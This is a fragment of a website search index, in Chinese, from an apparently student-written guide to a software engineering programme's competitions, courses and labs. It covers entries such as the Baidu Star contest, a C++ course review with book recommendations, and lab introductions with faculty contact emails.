    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_7","title":"\u767e\u5ea6\u4e4b\u661f\u5927\u8d5b","text":"

    \u767e\u5ea6\u4e4b\u661f\u5927\u8d5b (baidu.com)

    \u4eca\u5e74\u65b0\u8fdb\u5165\u699c\u5355\u7684\u8d5b\u4e8b\uff0c\u767e\u5ea6\u53d1\u8d77\u7684\uff0c\u4e3e\u529e\u5386\u53f2\u6bd4\u8f83\u4e45\uff0c\u542b\u91d1\u91cf\u8fd8\u4e0d\u9519\u3002

    \u5206\u4e3a\u521d\u8d5b\u548c\u51b3\u8d5b\u3002\u521d\u8d5b\u7ebf\u4e0a\u4e3e\u884c\uff0c\u4eca\u5e74\u5171\u67093\u573a\uff0c\u65f6\u95f4\u5206\u5e03\u57288-9\u6708\uff0c\u5206\u7701\u8bc4\u5956\uff0c30\uff05\u83b7\u5956\u7387\uff0c\u6309\u6392\u540d\u5206\u914d\u56fd\u8d5b\u540d\u989d\u3002

    \u56fd\u8d5b\u5f53\u5e74\u5e74\u5e95\u5728\u5317\u4eac\u4e3e\u884c\uff0c60\uff05\u83b7\u5956\u7387\uff08\u4eca\u5e74\u751a\u81f3\u53d1\u4e86\u4e2a\u94c1\u724c\u5956\uff0c\u8fd9\u4e0b\u83b7\u5956\u7387100\uff05\u4e86\uff09\u3002

    \u54c8\u5de5\u5927\u548c\u767e\u5ea6\u6709\u4e00\u4e2a\u767e\u5ea6\u677e\u679c\u73ed\uff0c\u5728\u521d\u8d5b\u4e4b\u524d\u4f1a\u4e3e\u884c\u4e00\u4e2a\u5185\u8bad\u8d5b\u3002\u8fd9\u4e2a\u5185\u8bad\u8d5b\u6253\u5f97\u597d\u4e5f\u4f1a\u83b7\u5f97\u4e00\u5b9a\u76f4\u901a\u56fd\u8d5b\u7684\u540d\u989d\u3002

    ICPC\u8d5b\u5236\u4e2a\u4eba\u8d5b\uff0c\u6ca1\u6709\u90e8\u5206\u5206\uff0c\u7ed3\u679c\u5b9e\u65f6\u53cd\u9988\uff0c\u4f46\u662f\u96be\u5ea6\u53ef\u63a7\uff0c\u7701\u8d5b\u62ff\u5956\u8fd8\u662f\u6bd4\u8f83\u5bb9\u6613\u7684\u3002

    \u521d\u8d5b80\uff0c\u5185\u8bad\u8d5b\u4e0d\u82b1\u94b1\uff0c\u51b3\u8d5b80\uff0c\u4ef7\u683c\u662f\u826f\u5fc3\u7684\u3002\u4eca\u5e74\u7684\u653f\u7b56\u662f\u56fd\u8d5b\u4f1a\u8fdb\u884c\u62a5\u9500\u3002

    QQ\u7fa4\uff1a\u5b66\u6821\u597d\u50cf\u6bcf\u5e74\u4f1a\u5efa\u4e00\u4e2a\uff0c\u4f46\u662f\u57fa\u672c\u4e0a\u662f\u4e2a\u4eba\u62a5\u540d\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_8","title":"\u5176\u4ed6","text":""},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_9","title":"\u534e\u4e3a\u8f6f\u4ef6\u7cbe\u82f1\u6311\u6218\u8d5b","text":"

    2023\u534e\u4e3a\u8f6f\u4ef6\u7cbe\u82f1\u6311\u6218\u8d5b\u2014\u2014\u666e\u6717\u514b\u8ba1\u5212 (huaweicloud.com)

    \u4e0d\u662f\u4f20\u7edf\u610f\u4e49\u4e0a\u7b97\u6cd5\u7ade\u8d5b\uff0c\u6709\u70b9\u50cf\u5de5\u7a0b\u7ade\u8d5b\uff0c\u4e00\u822c\u662f\u6c42\u89e3\u4e00\u4e2a\u4f18\u5316\u95ee\u9898\u3002\u8fdb\u533a\u57df\u8d5b32\u5f3a\u4e86\u534e\u4e3a\u8bf7\u4f60\u514d\u8d39\u65c5\u6e38\u5f88\u9999\uff0c\u8fd8\u4f1a\u6709\u4e00\u4e9b\u5176\u4ed6\u7684\u5956\u54c1\uff0c\u4f46\u662f\u6c5f\u5c71\u8d5b\u533a\u5f88\u5377\uff0c\u505a\u597d\u5fc3\u7406\u51c6\u5907\uff0c\u540c\u65f6\u53c2\u8d5b\u4ece\u672c\u79d1\u4e00\u76f4\u5230\u535a\u58eb\u90fd\u6709\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#c4-ai","title":"C4-AI\u3001\u8f6f\u521b\u3001\u670d\u521b\u3001\u4e92\u8054\u7f51+\u3001\u6311\u6218\u676f\u3001\u7269\u8054\u7f51\u3001\u4e09\u521b\u8d5b\u3001\u4fe1\u606f\u5b89\u5168\u8d5b...","text":"

    \u4fdd\u7814\u8d5b\u4e8b\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#ctf","title":"CTF","text":"

    \u54a8\u8be2\u9694\u58c1\u7f51\u9875\uff1a Chive::CTF \u7b2c\u4e94\u7a7a\u95f4

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_10","title":"\u4e00\u4e9b\u5f85\u6316\u6398\u7684\u8d5b\u4e8b","text":"

    \u56e2\u4f53\u7a0b\u5e8f\u8bbe\u8ba1\u5929\u68af\u8d5b\uff08GPLT\uff09\uff0cCCF-CAT\uff0cRoboCom\uff08CAIP\u7f16\u7a0b\u8bbe\u8ba1\u8d5b\u9053\uff09\uff0cHWS\u8ba1\u5212\uff0cKaggle......

    2024-04-25\u2003\u2003 Contributors

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    Note

    \u6559\u6750\u6bcf\u9694\u4e24\u4e09\u5e74\u5c31\u4f1a\u6362\uff0c\u4ee5\u4e0a\u4fe1\u606f\u65f6\u6548\u6027\u53ef\u80fd\u8f83\u5dee

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    LevelUp\u5927\u5b66\u82f1\u8bed\u80fd\u529b\u7a81\u7834\uff1a\u65b0\u95fb\u542c\u529b\u7cbe\u8bb2

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    ps: \u5b9e\u8d28\u4e0a\u89c6\u542c\u8bf4\u6559\u7a0b\u548c\u65b0\u95fb\u542c\u529b\u7cbe\u8bb2\u5b8c\u5168\u53ef\u4ee5\u5728\u626b\u63cf\u4e8c\u7ef4\u7801\u5151\u6362\u9898\u5e93\u4e4b\u540e\u5356\u4e86\uff08\uff09

    "},{"location":"general/generalEnglishA/#_5","title":"\u526f\u4ea7\u7269","text":"

    \u624b\u673a\u7aef\uff1aU\u6821\u56ed\uff0cWELearn\uff0cFiF\u53e3\u8bed

    \u7535\u8111\u7aef\uff1aiTest\u7231\u8003\u8bd5

    \u7f51\u9875\u7aef\uff1a\u6279\u6539\u7f51http://www.pigai.org

    "},{"location":"general/generalEnglishA/#_6","title":"\u5206\u6570\u6784\u6210","text":"\u53f2\u5149\u5b5d

    \u4e0d\u5b9a\u671f\u4f1a\u6709\u5c0f\u7ffb\u8f6c\u8bfe\u5802\uff0c\u6bcf\u5355\u5143\u672b\u6709\u5927\u7ffb\u8f6c\u8bfe\u5802\u548c\u5355\u5143\u6d4b\u9a8c\uff0c\u65e5\u5e38\u5206\u4f5c\u4e1a\u6bd4\u91cd\u8f83\u5927\uff0c\u671f\u4e2d\u671f\u672b\u4e24\u6b21\u8003\u8bd5\uff0c\u6bd4\u4f8b\u65b9\u9762\u8d44\u6599\u7f3a\u5931\u3002\u5355\u5143\u6d4b\u9a8c\u8003\u5bdf\u4e66\u4e2d\u8bfe\u6587\u539f\u6587\u586b\u7a7a\u4e0e\u8bfe\u672c\u8bcd\u6c47\u3002

    "},{"location":"general/generalEnglishA/#_7","title":"\u8350\u4e66","text":"

    \u4e70\u672c\u516d\u7ea7\u8bcd\u6c47\uff0c\u518d\u4ece\u7f51\u4e0a\u6253\u5370\u4e24\u5957\u56db\u7ea7\u9898

    "},{"location":"general/generalEnglishA/#_8","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHLL12001E

    1970-01-01\u2003\u2003 Contributors

    "},{"location":"general/ideology/","title":"\u601d\u60f3\u9053\u5fb7\u4e0e\u6cd5\u6cbb","text":"SE <\u4e13\u4e1a\u57fa\u7840>"},{"location":"general/ideology/#_2","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

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    \u8003\u67e5\u8bfe\uff0c\u53602.5\u5b66\u5206

    "},{"location":"general/ideology/#_3","title":"\u5148\u4fee\u8981\u6c42","text":"

    \u65e0

    "},{"location":"general/ideology/#_4","title":"\u4efb\u8bfe\u6559\u5e08","text":"\u6797\u82f1\u6885\u5f20\u8fd0\u6240

    \u6d2a\u4eae\u5730\u5ff5ppt\uff0c\u7136\u540e\u5c31\u6ca1\u4e86\uff0c\u4e0d\u8fc7\u6ca1\u6709\u8bfe\u5802\u63d0\u95ee\u3002\u987a\u5e26\u4e00\u63d0\u8001\u5e08\u4f1a\u4fc4\u8bed\uff0c\u611f\u5174\u8da3\u7684\u540c\u5b66\u53ef\u4ee5\u548c\u8001\u5e08\u4ea4\u6d41\u4e00\u4e0b

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    "},{"location":"general/ideology/#_5","title":"\u8bfe\u7a0b\u6559\u6750","text":"

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    \u65e5\u5e38:\u8003\u8bd5=4:6\uff0c\u6709\u4e00\u6b21\u7ffb\u8f6c\u8bfe\u5802\uff0c\u6ee1\u520620\u5206\uff0c\u5e26\u5c0f\u6570\u70b9\uff0c\u4e5f\u4e0d\u77e5\u9053\u6700\u540e\u600e\u4e48\u5904\u7406\u7684\uff0c\u8003\u8bd5\u6709\u9009\u62e9\u9898\uff0c\u7b80\u7b54\u9898\uff0c\u4e3b\u89c2\u8868\u8ff0\u9898\u548c\u6750\u6599\u5206\u6790\u9898\uff0c\u6709\u6700\u4f4e\u5b57\u6570\u8981\u6c42\uff0c\u8003\u8bd5\u5f00\u59cb\u4e00\u5c0f\u65f6\u540e\u5141\u8bb8\u63d0\u524d\u4ea4\u5377

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    "},{"location":"general/ideology/#_7","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHMX11002

    1970-01-01\u2003\u2003 Contributors

    "},{"location":"general/newthoughts/","title":"\u4e60\u8fd1\u5e73\u65b0\u65f6\u4ee3\u4e2d\u56fd\u7279\u8272\u793e\u4f1a\u4e3b\u4e49\u601d\u60f3\u6982\u8bba","text":"SE <\u4e13\u4e1a\u57fa\u7840>"},{"location":"general/newthoughts/#_2","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

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    "},{"location":"general/newthoughts/#_3","title":"\u5148\u4fee\u8981\u6c42","text":"

    \u65e0

    "},{"location":"general/newthoughts/#_4","title":"\u4efb\u8bfe\u6559\u5e08","text":"\u80e1\u4fca\u751f

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    "},{"location":"general/newthoughts/#_5","title":"\u8bfe\u7a0b\u6559\u6750","text":"

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    "},{"location":"general/newthoughts/#_6","title":"\u5206\u6570\u6784\u6210","text":"\u80e1\u4fca\u751f

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    Quote

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    "},{"location":"general/newthoughts/#_7","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHMX11001

    1970-01-01\u2003\u2003 Contributors

    "},{"location":"innovation/","title":"\u4ecb\u7ecd","text":"

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    Note

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    2024-04-28\u2003\u2003 Contributors

    "},{"location":"innovation/1/","title":"\u9762\u5411\u95ee\u9898\u7684\u9ad8\u7ea7\u7a0b\u5e8f\u8bbe\u8ba1","text":""},{"location":"innovation/1/#_1","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

    ACM-ICPC\u7cfb\u5217\u8d5b\u4e8b\u4e2d\u6240\u9700\u8981\u7684\u57fa\u7840\u7b97\u6cd5\u77e5\u8bc6\u53ca\u76f8\u5173\u8bad\u7ec3\u9898\u76ee\u8bb2\u89e3\u3002

    "},{"location":"innovation/1/#_2","title":"\u5148\u4fee\u8981\u6c42","text":"

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    "},{"location":"innovation/1/#_4","title":"\u8bfe\u7a0b\u6559\u6750","text":"

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    2024-04-23\u2003\u2003 Contributors

    "},{"location":"innovation/2/","title":"\u7f51\u7edc\u653b\u9632\u5b9e\u8df5","text":""},{"location":"innovation/2/#_2","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

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    \u5b66\u957f\u4eec\u81ea\u5df1\u5199\u7684 PPT

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    2024-04-28\u2003\u2003 Contributors

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    "},{"location":"innovation/3/#_3","title":"\u5148\u4fee\u8981\u6c42","text":"

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    2024-04-28\u2003\u2003 Contributors

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    "},{"location":"labs/INET/#_4","title":"\u6307\u5bfc\u6559\u5e08","text":"

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    "},{"location":"labs/INET/#_5","title":"\u5b9e\u9a8c\u5ba4\u65b9\u5411","text":"

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    "},{"location":"labs/INET/#_6","title":"\u76f8\u5173\u7684\u6bd4\u8d5b","text":"

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    "},{"location":"labs/INET/#_7","title":"\u8bba\u6587","text":"

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    "},{"location":"labs/IcePhone%26WeRun/#_4","title":"\u6307\u5bfc\u6559\u5e08","text":"

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    "},{"location":"labs/IcePhone%26WeRun/#_5","title":"\u5b9e\u9a8c\u5ba4\u65b9\u5411","text":"

    Note

    \u62db\u65b0\u5206\u4e3a\u51ac\u62db\u548c\u590f\u62db\uff0c\u5728\u7eb3\u65b0\u7fa4\u4e2d\u5206\u914d\u9879\u76ee\uff0c\u5927\u4e00\u4ece\u96f6\u5f00\u59cb\uff0c\u5927\u4e8c\u76f4\u63a5\u5b9e\u6218\uff0c\u7531\u9879\u76ee\u597d\u574f\u7b5b\u9009\u9762\u8bd5\u540d\u5355\uff0c\u9762\u8bd5\u6709\u5c55\u793a\u9879\u76ee\uff0c\u9610\u8ff0\u9879\u76ee\u7ec6\u8282\uff0c\u7406\u8bba\u77e5\u8bc6\u95ee\u7b54\u7b49\u73af\u8282\uff0c\u5efa\u8bae\u63d0\u524d\u51c6\u5907\u3002\u6b64\u6761\u9002\u7528\u4e8e\u4ee5\u4e0b\u6240\u6709\u65b9\u5411

    \u5a01\u8f6f\u524d\u7aef\u5a01\u8f6f\u540e\u7aef\u5a01\u8f6f\u5c0f\u7a0b\u5e8f\u51b0\u5cf0\u5b89\u5353AI

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    HTML

    \u8d85\u6587\u672c\u6807\u8bb0\u8bed\u8a00\uff08\u82f1\u8bed\uff1aHyperText Markup Language\uff0c\u7b80\u79f0\uff1aHTML\uff09\u662f\u4e00\u79cd\u7528\u4e8e\u521b\u5efa\u7f51\u9875\u7684\u6807\u51c6\u6807\u8bb0\u8bed\u8a00\u3002

    CSS

    CSS \uff08Cascading Style Sheets\uff0c\u5c42\u53e0\u6837\u5f0f\u8868\uff09\uff0c\u662f\u4e00\u79cd\u7528\u6765\u4e3a\u7ed3\u6784\u5316\u6587\u6863\uff08\u5982 HTML \u6587\u6863\u6216 XML \u5e94\u7528\uff09\u6dfb\u52a0\u6837\u5f0f\uff08\u5b57\u4f53\u3001\u95f4\u8ddd\u548c\u989c\u8272\u7b49\uff09\u7684\u8ba1\u7b97\u673a\u8bed\u8a00

    JavaScript

    JavaScript \u662f Web \u7684\u7f16\u7a0b\u8bed\u8a00\u3002

    VUE

    VUE\u662f\u4e00\u5957\u6784\u5efa\u7528\u6237\u754c\u9762\u7684\u6e10\u8fdb\u5f0f\u6846\u67b6\u3002

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    Java

    Java\u662f\u4e00\u79cd\u9ad8\u7ea7\u7a0b\u5e8f\u8bbe\u8ba1\u8bed\u8a00

    SQL

    SQL\u662f\u7528\u4e8e\u8bbf\u95ee\u548c\u5904\u7406\u6570\u636e\u5e93\u7684\u6807\u51c6\u7684\u8ba1\u7b97\u673a\u8bed\u8a00\u3002

    Spring

    Spring is a popular and powerful Java framework that simplifies development, enhances productivity, and enables cloud-ready services.

    Uniapp

    uni-app is a framework for developing all front-end applications using Vue.js, which can run on iOS, Android, Web, and various small programs.

    WeUI

    WeUI \u662f\u4e00\u5957\u540c\u5fae\u4fe1\u539f\u751f\u89c6\u89c9\u4f53\u9a8c\u4e00\u81f4\u7684\u57fa\u7840\u6837\u5f0f\u5e93

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    Java

    \u751a\u81f3\u51b0\u5cf0\u7684\u5927\u4e00\u7b2c\u4e00\u6b21\u4f5c\u4e1a\u548c\u540e\u7aef\u662f\u4e00\u8d77\u7684

    Kotlin

    Kotlin \u662f\u4e00\u79cd\u5728 Java \u865a\u62df\u673a\u4e0a\u8fd0\u884c\u7684\u9759\u6001\u7c7b\u578b\u7f16\u7a0b\u8bed\u8a00

    Go

    \u8fd8\u5728Go\u8fd8\u5728Go\u8fd8\u5728Go

    Go \u662f\u4e00\u4e2a\u5f00\u6e90\u7684\u7f16\u7a0b\u8bed\u8a00

    Flutter

    Flutter\u662f\u8c37\u6b4c\u7684\u79fb\u52a8UI\u6846\u67b6\uff0c\u53ef\u4ee5\u5feb\u901f\u5728iOS\u548cAndroid\u4e0a\u6784\u5efa\u9ad8\u8d28\u91cf\u7684\u539f\u751f\u7528\u6237\u754c\u9762\u3002

    \u867d\u7136\u6700\u65b0\u7684\u6280\u672f\u662fFlutter\uff0c\u4f46\u6211\u4eec\u4f9d\u7136\u63a8\u8350\u4f60\u4eceJava\u5b66\u8d77\u3002\u63a8\u8350\u4e00\u672c\u4e66\u2014\u2014\u300a\u7b2c\u4e00\u884c\u4ee3\u7801Android\u7b2c\u4e8c\u7248\u300b\uff0c\u56e0\u4e3a\u5b83\u4f7f\u7528Java\u793a\u8303\u4ee3\u7801\u800c\u7b2c\u4e09\u7248\u5df2\u7ecf\u5168\u9762\u8f6c\u5411Kotlin\u4e86\u3002\u2014\u2014\u5ba3\u8bb2\u4f1a

    \u6682\u4e0d\u9762\u5411\u672c\u79d1\u751f\u7eb3\u65b0

    "},{"location":"labs/IcePhone%26WeRun/#_6","title":"\u5728\u5ba3\u8bb2\u4f1a\u63a8\u8350\u7684\u8d44\u6e90","text":"

    CSDN\uff0c\u7a00\u571f\u6398\u91d1\uff0c\u9ed1\u9a6c\u7a0b\u5e8f\u5458\uff0c\u300a\u7b2c\u4e00\u884c\u4ee3\u7801Android\u7b2c\u4e8c\u7248\u300b\uff0c\u5ba3\u8bb2\u4eba\u7684QQ

    "},{"location":"labs/IcePhone%26WeRun/#_7","title":"\u76f8\u5173\u7684\u6bd4\u8d5b","text":"

    \u6821\u957f\u676f\uff0c\u4e92\u8054\u7f51+\u8d5b\u9053\uff0c\u6311\u6218\u676f\u4e91\u4e91

    MCM/ICM\uff0c\u56fd\u8d5b\u4e91\u4e91

    "},{"location":"labs/IcePhone%26WeRun/#_8","title":"\u8bba\u6587","text":"

    SCI/EI\u4e09\u5341\u4f59\u7bc7\uff0c\u4e13\u5229\u548c\u8f6f\u4ef6\u8457\u4f5c\u6743\u4e8c\u5341\u51e0\u9879

    2024-05-03\u2003\u2003 Contributors

    "},{"location":"labs/acrossMedia/","title":"\u8de8\u5a92\u4f53\u667a\u80fd\u7814\u7a76\u4e2d\u5fc3","text":""},{"location":"labs/acrossMedia/#_2","title":"\u5b9e\u9a8c\u5ba4\u7b80\u4ecb","text":"

    \u6210\u7acb\u4e8e2016\u5e749\u6708\uff0c\u4e0e\u4e2d\u56fd\u79d1\u5b66\u9662\u5927\u5b66\uff0c\u4e2d\u79d1\u9662\u8ba1\u7b97\u6240\u7b49\u5355\u4f4d\u5408\u4f5c\u5f00\u5c55\u76f8\u5173\u8bfe\u9898\u7d27\u5bc6\u5408\u4f5c,\u4e2d\u5fc3\u8d1f\u8d23\u4eba\uff08IEEE Fellow,\u6770\u9752\uff0c\u4e2d\u79d1\u9662vipl\u8d1f\u8d23\u4eba\uff09

    "},{"location":"labs/acrossMedia/#_3","title":"\u53ef\u5229\u7528\u8d44\u6e90","text":"

    \u5efa\u8bae\u4eb2\u81ea\u4f53\u4f1a\u4e00\u4e0b

    "},{"location":"labs/acrossMedia/#_4","title":"\u6307\u5bfc\u6559\u5e08","text":"

    \u517c\u804c\u6559\u63881\u4eba\uff0c\u6559\u63881\u4eba\uff0c\u9752\u5e74\u6559\u5e083\u4eba

    "},{"location":"labs/acrossMedia/#_5","title":"\u5b9e\u9a8c\u5ba4\u65b9\u5411","text":"

    \u8de8\u6a21\u6001\u89c6\u9891\u2014\u2014\u6587\u672c\u68c0\u7d22\u4e0e\u5b9a\u4f4d

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    2024-05-09\u2003\u2003 Contributors

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    \u8d44\u6599\u7f3a\u5931

    "},{"location":"labs/enterprise/#_4","title":"\u6307\u5bfc\u6559\u5e08","text":"

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    \u6d82\u8001\u5e08\uff1atzy_hit@hit.edu.cn

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    \u6821\u957f\u676f

    \u80e1\u8001\u5e08\uff1ahithuxin@hit.edu.cn

    \u5f20\u8001\u5e08\uff1a26020432@qq.com

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    2024-05-03\u2003\u2003 Contributors

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    2024-04-28\u2003\u2003 Contributors

    "},{"location":"labs/huaweiTele/","title":"\u534e\u4e3a\u6570\u636e\u901a\u4fe1\u521b\u65b0\u5b9e\u8df5\u57fa\u5730","text":""},{"location":"labs/huaweiTele/#_2","title":"\u5b9e\u9a8c\u5ba4\u7b80\u4ecb","text":"

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    2024-05-03\u2003\u2003 Contributors

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    2024-04-22\u2003\u2003 Contributors

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    "},{"location":"major/C%20programming/#_7","title":"\u8350\u4e66","text":"

    Warning

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    C Primer Plus

    Quote

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    The C Programming Language

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    "},{"location":"major/C%20programming/#_8","title":"\u5efa\u8bae","text":"

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    "},{"location":"major/C%20programming/#_9","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHSE21001

    2024-04-23\u2003\u2003 Contributors

    "},{"location":"major/C%2B%2B/","title":"C++\u7a0b\u5e8f\u8bbe\u8ba1","text":"SE <\u4e13\u4e1a\u9009\u4fee>"},{"location":"major/C%2B%2B/#_1","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

    \u8fd9\u4e2a\u8bfe\u591a\u5c11\u6709\u70b9\u513f\u6807\u9898\u515a\u7684\u610f\u601d\u4e86\uff0c\u4f60\u8bf4\u5b83\u662fC++\u8bfe\u5427\uff0c\u5b83\u9ed8\u8ba4\u4f60\u4f1aiostream\u548cfstream\u800c\u628a\u91cd\u70b9\u653e\u5728\u4e86\u9762\u5411\u5bf9\u8c61\u4e0a\uff0c\u91cd\u70b9\u662f\u7c7b\uff0c\u5bf9\u8c61\uff0c\u6784\u9020\u51fd\u6570\u4e0e\u6790\u6784\u51fd\u6570\uff0c\u6210\u5458\u51fd\u6570\u4e0e\u53cb\u5143\u51fd\u6570\uff0c\u8fd0\u7b97\u7b26\u91cd\u8f7d\u4e0e\u865a\u51fd\u6570\uff0c\u7ee7\u627f\u4e0e\u591a\u6001\uff0c\u865a\u51fd\u6570\u4e0e\u5f02\u8d28\u94fe\u8868\uff0c\u4e0d\u8bb2\u8f93\u51fa\u683c\u5f0f\uff0c\u4e0d\u8bb2\u547d\u540d\u7a7a\u95f4\uff0c\u4e0d\u8bb2STL\uff0c\u81f3\u4e8e\u6700\u65b0\u7279\u6027\u4e4b\u7c7b\u7684\u66f4\u662f\u67e5\u65e0\u6b64\u4eba\uff0c\u4e0d\u592a\u5efa\u8bae\u4f7f\u7528\u8fd9\u95e8\u8bfe\u8fdb\u884cC++\u5b66\u4e60\uff0c\u8fdb\u884c\u77e5\u8bc6\u8865\u5145\u7684\u8bdd\u8fd8\u5dee\u4e0d\u591a\u3002\u8003\u67e5\u8bfe\uff0c\u9009\u4fee\u8bfe\uff0c\u53602.5\u5b66\u5206\u3002

    "},{"location":"major/C%2B%2B/#_2","title":"\u5148\u4fee\u8981\u6c42","text":"

    C++\uff08\u5bf9\uff0c\u53ef\u6015\u4e4b\u5904\u5728\u4e8e\u521d\u5230\u8fd9\u4e2a\u8bfe\u7684\u540c\u5b66\u4eec\u53ef\u80fd\u53ea\u662f\u542c\u8fc7cin\u548ccout\u7684\u5927\u540d\u5c31\u6765\u4e86\uff0c\u4e00\u6765\u50bb\u4e86\u773c\u4e86\uff0c\u6240\u4ee5\u4f60\u5f97\u5148\u770b\u770bC++\u7684\u4e00\u4e9b\u57fa\u672c\u8bed\u6cd5\u518d\u6765\uff09

    "},{"location":"major/C%2B%2B/#_3","title":"\u4efb\u8bfe\u6559\u5e08","text":"\u80e1\u946b

    \u770b\u5f97\u51fa\u6765\u4e5f\u542c\u5f97\u51fa\u6765\u662fC++\u7684\u5927\u5e08\u7ea7\u4eba\u7269\uff0c\u5f88\u4e86\u89e3\u6307\u9488\u9677\u9631\u548c\u9762\u5411\u5bf9\u8c61\uff0c\u4f46\u662f\u5728\u4e00\u4e9b\u5173\u952e\u77e5\u8bc6\u70b9\u5982\u9519\u8bef\u6355\u6349\u548c\u91cd\u8f7d\u8d4b\u503c\u8fd0\u7b97\u7b26\u7b49\u77e5\u8bc6\u70b9\u4e0a\u70b9\u5230\u4e3a\u6b62\uff0c\u201c\u611f\u5174\u8da3\u7684\u81ea\u5df1\u4e0b\u53bb\u67e5\u201d\u3002ppt\u4e5f\u662f\u6e05\u671d\u8001\u7247\u7ea7\u522b\u7684\uff0c\u5b9e\u9a8c\u7559\u56de\u53bb\u81ea\u5df1\u505a\u3002\u4f5c\u4e3a\u4e00\u4e2aC++\u5927\u5e08\uff0c\u4ed6\u6781\u529b\u9f13\uff08song\uff09\u52b1\uff08yong\uff09\u6211\u4eec\u4e22\u6389Dev\u548cCode::Blocks\u6539\u7528VS\uff0c\u56e0\u4e3a\u603b\u6709\u5947\u602a\u7684\u62a5\u9519\u4f60\u5728Dev\u548cCB\u91cc\u5934\u6839\u672c\u53d1\u73b0\u4e0d\u4e86\u3002

    "},{"location":"major/C%2B%2B/#_4","title":"\u8bfe\u7a0b\u6559\u6750","text":"

    \u96f6\u57fa\u7840\u5b66C++\u4ece\u5165\u95e8\u5230\u7cbe\u901a

    \u80e1\u946b\u8001\u5e08\u9009\u8fd9\u73a9\u610f\u513f\u7684\u521d\u5fc3\u662f\u8ba9\u6211\u4eec\u626b\u63cf\u4e8c\u7ef4\u7801\u83b7\u53d6\u66f4\u591a\u8d44\u6599\uff0c\u4f46\u662f\u771f\u6ca1\u51e0\u4e2a\u4eba\u626b\u7801\u7528\u4e66\u4e0a\u7684\u8d44\u6599\uff0c\u751a\u81f3\u4e0a\u8bfe\u8fd9\u4e66\u4e5f\u7528\u4e0d\u4e0a\uff0c\u5b83\u6700\u5927\u7684\u4f5c\u7528\u5927\u6982\u662f\u5b9e\u9a8c\u5361\u58f3\u4e86\u627e\u4ee3\u7801\u7528

    "},{"location":"major/C%2B%2B/#_5","title":"\u5206\u6570\u6784\u6210","text":"\u80e1\u946b

    3\u6b21\u5b9e\u9a8c\u6b63\u5e38\u8ba1\u5165\u5206\u6570\u30021\u6b21\u7ffb\u8f6c\u8bfe\u5802\u7b97\u4f5c\u989d\u5916\u52a0\u5206\uff0c\u8bb2\u89e3\u4e09\u6b21\u5b9e\u9a8c\uff0c\u8bb2\u5f97\u8d8a\u96be\u5206\u8d8a\u9ad8\uff0c\u9700\u8981\u81ea\u5df1\u62a5\u540d\u3002\u4e00\u6b21\u671f\u672b\u8003\u8bd5\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u7ffb\u8f6c\u8bfe\u5802\u4e00\u5b9a\u8981\u6709\u201c\u81ea\u627e\u7f6a\u53d7\u201d\u5f0f\u7684\u5228\u6839\u95ee\u5e95\u7684\u6001\u5ea6\uff0c\u5426\u5219\u4f60\u5bb9\u6613\u88ab\u5b9e\u9a8c\u5ba4\u5927\u4f6c\u6216\u8005\u8001\u5e08\u4e00\u4e2a\u7075\u9b42\u62f7\u95ee\u5b9a\u5728\u53f0\u4e0a\u3002\u51fa\u52e4\u5206\u6570\u65b9\u9762\u8d44\u6599\u7f3a\u5931

    "},{"location":"major/C%2B%2B/#_6","title":"\u8350\u4e66","text":"

    \u660e\u89e3C++

    \u4f9d\u7136\u662f\u67f4\u7530\u671b\u6d0b\u8001\u5e08\u7684\u529b\u4f5c\uff0c\u96f6\u57fa\u7840\u9996\u9009\uff0c\u4f46\u662f\u5bf9\u591a\u6001\u548cC++\u6df1\u5c42\u6b21\u7684\u7279\u6027\u8bb2\u7684\u4e0d\u592a\u597d

    C++ Primer

    \u4f5c\u8005\u662fStanley B. Lippman\uff0c\u4e00\u672c\u53c2\u8003\u4ef7\u503c\u5927\u4e8e\u9605\u8bfb\u4ef7\u503c\u7684C++\u7ecf\u5178

    C++ Primer Plus

    \u8fd9\u662f\u53e6\u4e00\u672c\u4e66\uff0c\u4e0d\u8981\u8ddf\u4e0a\u5934\u90a3\u672c\u641e\u6df7\u4e86\uff01\u5982\u679c\u4f60\u719f\u6089C Primer Plus\u90a3\u5c31\u4e0d\u591a\u89e3\u91ca\u4e86\uff0c\u5982\u679c\u4f60\u60f3\u6311\u6218\u4e00\u4e0b\u81ea\u5df1\u90a3\u4e5f\u53ef\u4ee5\u8bd5\u8bd5\u8fd9\u672c\u4e66\uff1f\u7f16\u8005\u7684\u540c\u5b66\u751a\u81f3\u6536\u5230\u4e86\u8fd9\u672c\u4e66\u4f5c\u4e3a\u751f\u65e5\u793c\u7269\uff0c\u592a\u6709\u77f3\u7c92\u513f\u4e86

    "},{"location":"major/C%2B%2B/#_7","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHSE32001

    2024-04-23\u2003\u2003 Contributors

    "},{"location":"major/manual/","title":"\u4e13\u4e1a\u89e3\u8bfb","text":"SE <\u4e13\u4e1a\u57fa\u7840>"},{"location":"major/manual/#_2","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

